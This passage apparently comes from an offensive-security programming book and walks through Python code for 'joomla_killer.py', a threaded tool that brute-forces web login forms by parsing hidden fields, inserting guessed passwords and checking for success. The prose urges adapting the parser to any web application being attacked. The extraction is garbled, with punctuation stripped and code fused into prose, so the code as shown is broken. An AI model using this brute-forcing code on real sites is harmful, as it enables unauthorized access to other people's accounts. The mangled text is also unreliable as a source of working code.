page response read(print "trying% % (% left)(self username,brute,self password_q qsize()parse out the hidden fields parser bruteparser(parser feed(pagepost_tags parser tag_results add our username and password fields post_tags[username_fieldself username post_tags[password_fieldbrute login_data urllib urlencode(post_tagslogin_response opener open(target_postlogin_datalogin_result login_response read(if success_check in login_resultself found true print "[*bruteforce successful print "[*username%susername print "[*password%sbrute print "[*waiting for other threads to exit this is our primary brute-forcing classwhich will handle all of the http requests and manage cookies for us after we grab our password attemptwe set up our cookie jar using the filecookiejar class that will store the cookies in the cookies file next we initialize our urllib openerpassing in the initialized cookie jarwhich tells urllib to pass off any cookies to it we then make the initial request to retrieve the login form when we have the raw htmlwe pass it off to our html parser and call its feed method which returns dictionary of all of the retrieved form elements after we have successfully parsed the htmlwe replace the username and password fields with our brute-forcing attempt next we url encode the post variables and then pass them in our subsequent http request after we retrieve the result of our authentication attemptwe test whether the authentication was successful or not now let' implement the core of our html processing add the following class to your joomla_killer py scriptclass bruteparser(htmlparser)def __init__(self)htmlparser __init__(selfself tag_results {def handle_starttag(selftagattrs)if tag ="input"tag_name none tag_value none for name,value in attrsif name ="name"tag_name value if name ="value"tag_value value if tag_name is not noneself tag_results[tag_namevalue this forms the specific html parsing class that we want to use against our target after you have the basics of using the htmlparser classyou can adapt it to extract information from any web application that you might be attacking the first thing we do is create dictionary in which our